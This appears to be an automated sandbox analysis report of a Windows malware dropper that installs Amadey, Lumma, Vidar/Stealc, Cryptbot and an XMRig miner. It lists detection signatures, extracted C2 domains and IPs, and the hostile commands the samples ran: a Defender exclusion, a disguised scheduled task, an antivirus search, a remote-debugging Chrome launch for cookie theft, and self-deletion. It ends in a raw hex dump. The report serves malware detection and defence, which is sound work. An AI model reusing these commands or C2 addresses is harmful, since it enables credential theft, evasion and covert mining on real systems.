43.3.Intel_PTT_EK_Recertification.exe.1691fc20000.0.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x324cc8:$x1: donate.ssl.xmrig.com
43.3.Intel_PTT_EK_Recertification.exe.1691fc20000.0.unpack	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x325978:$s1: %s/%s (Windows NT %lu.%lu 0x329580:$s3: \\.\WinRing0_ 0x2e3130:$s4: pool_wallet 0x2dd978:$s5: cryptonight 0x2dd988:$s5: cryptonight 0x2dd998:$s5: cryptonight 0x2dd9a8:$s5: cryptonight 0x2dd9c0:$s5: cryptonight 0x2dd9d0:$s5: cryptonight 0x2dd9e0:$s5: cryptonight 0x2dd9f8:$s5: cryptonight 0x2dda08:$s5: cryptonight 0x2dda20:$s5: cryptonight 0x2dda38:$s5: cryptonight 0x2dda48:$s5: cryptonight 0x2dda58:$s5: cryptonight 0x2dda68:$s5: cryptonight 0x2dda80:$s5: cryptonight 0x2dda98:$s5: cryptonight 0x2ddaa8:$s5: cryptonight 0x2ddab8:$s5: cryptonight
Click to see the 15 entries

Sigma Signatures

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "powershell.exe" Add-MpPreference -ExclusionPath "C:\nmckayer", CommandLine: "powershell.exe" Add-MpPreference -ExclusionPath "C:\nmckayer", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe, ParentProcessId: 1340, ParentProcessName: d59846009d.exe, ProcessCommandLine: "powershell.exe" Add-MpPreference -ExclusionPath "C:\nmckayer", ProcessId: 6188, ProcessName: powershell.exe

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: Dry.com b, ParentImage: C:\Users\user\AppData\Local\Temp\245347\Dry.com, ParentProcessId: 8124, ParentProcessName: Dry.com, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default", ProcessId: 3520, ProcessName: chrome.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE, CommandLine: schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE, CommandLine|base64offset|contains: mj,, Image: C:\Windows\System32\schtasks.exe, NewProcessName: C:\Windows\System32\schtasks.exe, OriginalFileName: C:\Windows\System32\schtasks.exe, ParentCommandLine: "in.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\main\in.exe, ParentProcessId: 7184, ParentProcessName: in.exe, ProcessCommandLine: schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE, ProcessId: 4208, ProcessName: schtasks.exe

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell ping 127.0.0.1; del in.exe, CommandLine: powershell ping 127.0.0.1; del in.exe, CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "in.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\main\in.exe, ParentProcessId: 7184, ParentProcessName: in.exe, ProcessCommandLine: powershell ping 127.0.0.1; del in.exe, ProcessId: 5800, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 5956, ProcessName: svchost.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Search for Antivirus process

Source: Process started

Author: Joe Security: Data: Command: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" , CommandLine: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" , CommandLine|base64offset|contains: ~), Image: C:\Windows\SysWOW64\findstr.exe, NewProcessName: C:\Windows\SysWOW64\findstr.exe, OriginalFileName: C:\Windows\SysWOW64\findstr.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c move App App.cmd & App.cmd, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 7928, ParentProcessName: cmd.exe, ProcessCommandLine: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" , ProcessId: 8040, ProcessName: findstr.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-21T10:15:53.315889+0100	2028371	3	Unknown Traffic	192.168.2.4	49878	172.67.180.113	443	TCP
2024-12-21T10:15:55.627775+0100	2028371	3	Unknown Traffic	192.168.2.4	49898	172.67.180.113	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-21T10:15:54.480976+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49878	172.67.180.113	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-21T10:15:54.480976+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49878	172.67.180.113	443	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-21T10:15:15.805020+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49776	185.215.113.43	80	TCP
2024-12-21T10:15:28.148975+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49806	185.215.113.43	80	TCP
2024-12-21T10:15:40.589782+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49837	185.215.113.43	80	TCP
2024-12-21T10:15:48.204333+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49860	185.215.113.43	80	TCP
2024-12-21T10:15:53.656266+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49879	185.215.113.43	80	TCP
2024-12-21T10:16:06.729512+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49932	185.215.113.43	80	TCP
2024-12-21T10:16:15.325334+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49959	185.215.113.43	80	TCP

ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-21T10:16:18.855981+0100	2054350	1	A Network Trojan was detected	192.168.2.4	49973	185.121.15.192	80	TCP
2024-12-21T10:16:20.722775+0100	2054350	1	A Network Trojan was detected	192.168.2.4	49981	185.121.15.192	80	TCP
2024-12-21T10:16:30.318847+0100	2054350	1	A Network Trojan was detected	192.168.2.4	50016	185.121.15.192	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-21T10:15:44.735999+0100	2044247	1	Malware Command and Control Activity Detected	94.130.188.57	443	192.168.2.4	49850	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-21T10:15:47.019511+0100	2051831	1	Malware Command and Control Activity Detected	94.130.188.57	443	192.168.2.4	49855	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-21T10:15:47.018923+0100	2049087	1	A Network Trojan was detected	192.168.2.4	49855	94.130.188.57	443	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-21T10:15:05.711921+0100	2856147	1	A Network Trojan was detected	192.168.2.4	49750	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-21T10:15:14.469283+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.4	49759	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-21T10:15:10.404829+0100	2803305	3	Unknown Traffic	192.168.2.4	49765	31.41.244.11	80	TCP
2024-12-21T10:15:17.262690+0100	2803305	3	Unknown Traffic	192.168.2.4	49781	31.41.244.11	80	TCP
2024-12-21T10:15:29.601847+0100	2803305	3	Unknown Traffic	192.168.2.4	49808	31.41.244.11	80	TCP
2024-12-21T10:15:42.036701+0100	2803305	3	Unknown Traffic	192.168.2.4	49844	31.41.244.11	80	TCP
2024-12-21T10:15:49.654866+0100	2803305	3	Unknown Traffic	192.168.2.4	49867	31.41.244.11	80	TCP
2024-12-21T10:15:55.103382+0100	2803305	3	Unknown Traffic	192.168.2.4	49889	31.41.244.11	80	TCP
2024-12-21T10:16:08.184495+0100	2803305	3	Unknown Traffic	192.168.2.4	49938	31.41.244.11	80	TCP
2024-12-21T10:16:16.928917+0100	2803305	3	Unknown Traffic	192.168.2.4	49966	185.215.113.16	80	TCP

ETPRO MALWARE Win32/Stealc/Vidar Stealer Host Details Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-21T10:15:40.145236+0100	2859378	1	Malware Command and Control Activity Detected	192.168.2.4	49835	94.130.188.57	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\main\extracted\in.exe	Avira: detection malicious, Label: HEUR/AGEN.1352802
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1019255001\331488c9a5.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	Avira: detection malicious, Label: HEUR/AGEN.1320706
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1019256001\f9567e9ef8.exe	Avira: detection malicious, Label: HEUR/AGEN.1320706
Source: C:\Users\user\AppData\Local\Temp\1019252001\8b67fa16f7.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 00000011.00000002.3105087259.0000000003E81000.00000040.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Vidar {"C2 url": "https://steamcommunity.com/profiles/76561199809363512", "Botnet": "m0nk3"}
Source: 00000002.00000002.1757373038.0000000000D01000.00000040.00000001.01000000.00000008.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 73aaed44cf.exe.4336.49.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["treehoneyi.click", "sustainskelet.lat", "necklacebudi.lat", "crosshuaht.lat", "grannyejh.lat", "energyaffai.lat", "rapeflowwj.lat", "aspecteirs.lat", "discokeyus.lat"], "Build id": "cygwin--pty"}
Source: 8b67fa16f7.exe.6064.48.memstrmin	Malware Configuration Extractor: Cryptbot {"C2 list": ["home.fivetk5ht.top"]}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	ReversingLabs: Detection: 56%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	ReversingLabs: Detection: 27%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	ReversingLabs: Detection: 86%
Source: C:\Users\user\AppData\Local\Temp\1019251001\d208a35154.exe	ReversingLabs: Detection: 86%
Source: C:\Users\user\AppData\Local\Temp\1019253001\73aaed44cf.exe	ReversingLabs: Detection: 27%
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	ReversingLabs: Detection: 56%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	ReversingLabs: Detection: 57%
Source: C:\Users\user\AppData\Local\Temp\main\extracted\in.exe	ReversingLabs: Detection: 69%
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	ReversingLabs: Detection: 69%
Source: C:\nmckayer\3477ac361a61484faa59cc92fe88289c.exe	ReversingLabs: Detection: 82%

Multi AV Scanner detection for submitted file

Source: file.exe	ReversingLabs: Detection: 55%
Source: file.exe	Virustotal: Detection: 58%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.6% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\main\extracted\in.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1019257001\43a8c4054b.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1019255001\331488c9a5.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1019256001\f9567e9ef8.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[3].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1019252001\8b67fa16f7.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: 8b67fa16f7.exe, 00000030.00000003.2676434059.00000000076E6000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

memstr_e2fff76b-7

Bitcoin Miner

Yara detected Xmrig cryptocurrency miner

Source: Yara match	File source: 60.3.Intel_PTT_EK_Recertification.exe.16d2cd50000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 43.3.Intel_PTT_EK_Recertification.exe.1691fc20000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 44.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 60.3.Intel_PTT_EK_Recertification.exe.16d2cd50000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 43.3.Intel_PTT_EK_Recertification.exe.1691fc20000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000002C.00000002.2636413300.0000000000EF8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002C.00000002.2636413300.0000000000F0E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000003C.00000003.2903221399.0000016D2CD50000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002C.00000002.2637448408.000000014040B000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002C.00000002.2637283491.00000001402DD000.00000002.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002B.00000003.2630489913.000001691FC20000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Intel_PTT_EK_Recertification.exe PID: 7380, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: explorer.exe PID: 7440, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Intel_PTT_EK_Recertification.exe PID: 7248, type: MEMORYSTR

Found strings related to Crypto-Mining

Source: Intel_PTT_EK_Recertification.exe, 0000002B.00000003.2630489913.000001691FC20000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: stratum+tcp://
Source: Intel_PTT_EK_Recertification.exe, 0000002B.00000003.2630489913.000001691FC20000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: cryptonight/0
Source: Intel_PTT_EK_Recertification.exe, 0000002B.00000003.2630489913.000001691FC20000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: -o, --url=URL URL of mining server
Source: Intel_PTT_EK_Recertification.exe, 0000002B.00000003.2630489913.000001691FC20000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: stratum+tcp://

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.4:49823 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 94.130.188.57:443 -> 192.168.2.4:49829 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.180.113:443 -> 192.168.2.4:49878 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.233.83.145:443 -> 192.168.2.4:49930 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.233.83.145:443 -> 192.168.2.4:49929 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.108.133:443 -> 192.168.2.4:49937 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.108.133:443 -> 192.168.2.4:49939 version: TLS 1.2

Source:	Binary string: D:\a\_work\1\s\src\StoreInstaller\obj\Release\net472\StoreInstaller.pdb source: d59846009d.exe, 00000033.00000002.3004074654.00000000036C3000.00000004.00000800.00020000.00000000.sdmp, d59846009d.exe, 00000033.00000002.3004074654.00000000037C3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\src\StoreInstaller\obj\Release\net472\StoreInstaller.pdbSHA256\u source: d59846009d.exe, 00000033.00000002.3004074654.00000000036C3000.00000004.00000800.00020000.00000000.sdmp, d59846009d.exe, 00000033.00000002.3004074654.00000000037C3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\danie\source\repos\NewText\NewText\obj\Debug\NewTextV2.pdb source: skotes.exe, 00000006.00000002.3094333474.00000000015A0000.00000004.00000020.00020000.00000000.sdmp, d59846009d.exe, 00000033.00000000.2785684723.0000000000382000.00000002.00000001.01000000.00000015.sdmp
Source:	Binary string: C:\Users\danie\source\repos\NewText\NewText\obj\Debug\NewTextV2.pdbdj~j pj_CorExeMainmscoree.dll source: skotes.exe, 00000006.00000002.3094333474.00000000015A0000.00000004.00000020.00020000.00000000.sdmp, d59846009d.exe, 00000033.00000000.2785684723.0000000000382000.00000002.00000001.01000000.00000015.sdmp

Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\245347	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\245347\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 8MB later: 46MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.4:49759
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.4:49750 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49776 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49806 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49837 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49879 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49860 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49932 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49959 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.4:49973 -> 185.121.15.192:80
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.4:49981 -> 185.121.15.192:80
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.4:50016 -> 185.121.15.192:80
Source: Network traffic	Suricata IDS: 2859378 - Severity 1 - ETPRO MALWARE Win32/Stealc/Vidar Stealer Host Details Exfil (POST) M2 : 192.168.2.4:49835 -> 94.130.188.57:443
Source: Network traffic	Suricata IDS: 2049087 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M1 : 192.168.2.4:49855 -> 94.130.188.57:443
Source: Network traffic	Suricata IDS: 2051831 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 : 94.130.188.57:443 -> 192.168.2.4:49855
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49878 -> 172.67.180.113:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49878 -> 172.67.180.113:443
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 94.130.188.57:443 -> 192.168.2.4:49850

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: treehoneyi.click
Source: Malware configuration extractor	URLs: sustainskelet.lat
Source: Malware configuration extractor	URLs: necklacebudi.lat
Source: Malware configuration extractor	URLs: crosshuaht.lat
Source: Malware configuration extractor	URLs: grannyejh.lat
Source: Malware configuration extractor	URLs: energyaffai.lat
Source: Malware configuration extractor	URLs: rapeflowwj.lat
Source: Malware configuration extractor	URLs: aspecteirs.lat
Source: Malware configuration extractor	URLs: discokeyus.lat
Source: Malware configuration extractor	URLs: https://steamcommunity.com/profiles/76561199809363512
Source: Malware configuration extractor	IPs: 185.215.113.43
Source: Malware configuration extractor	URLs: home.fivetk5ht.top

Uses ping.exe to check the status of other devices and networks

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.0.0.1

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 21 Dec 2024 09:15:10 GMTContent-Type: application/octet-streamContent-Length: 863093Last-Modified: Fri, 20 Dec 2024 20:00:38 GMTConnection: keep-aliveETag: "6765cce6-d2b75"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 41 7b d1 6b 05 1a bf 38 05 1a bf 38 05 1a bf 38 0c 62 3c 38 06 1a bf 38 0c 62 2c 38 14 1a bf 38 05 1a be 38 a9 1a bf 38 1e 87 15 38 09 1a bf 38 1e 87 25 38 04 1a bf 38 1e 87 22 38 04 1a bf 38 52 69 63 68 05 1a bf 38 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 e4 e2 47 4f 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 74 00 00 00 c4 07 00 00 42 00 00 af 38 00 00 00 10 00 00 00 90 00 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 06 00 00 00 05 00 00 00 00 00 00 00 00 70 10 00 00 04 00 00 82 9d 0d 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 40 ac 00 00 b4 00 00 00 00 00 10 00 ba 52 00 00 00 00 00 00 00 00 00 00 a5 06 0d 00 d0 24 00 00 00 60 08 00 94 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 8c 72 00 00 00 10 00 00 00 74 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6e 2b 00 00 00 90 00 00 00 2c 00 00 00 78 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 9c 2b 07 00 00 c0 00 00 00 02 00 00 00 a4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6e 64 61 74 61 00 00 00 10 08 00 00 f0 07 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 c0 2e 72 73 72 63 00 00 00 ba 52 00 00 00 00 10 00 00 54 00 00 00 a6 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d6 0f 00 00 00 60 10 00 00 10 00 00 00 02 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 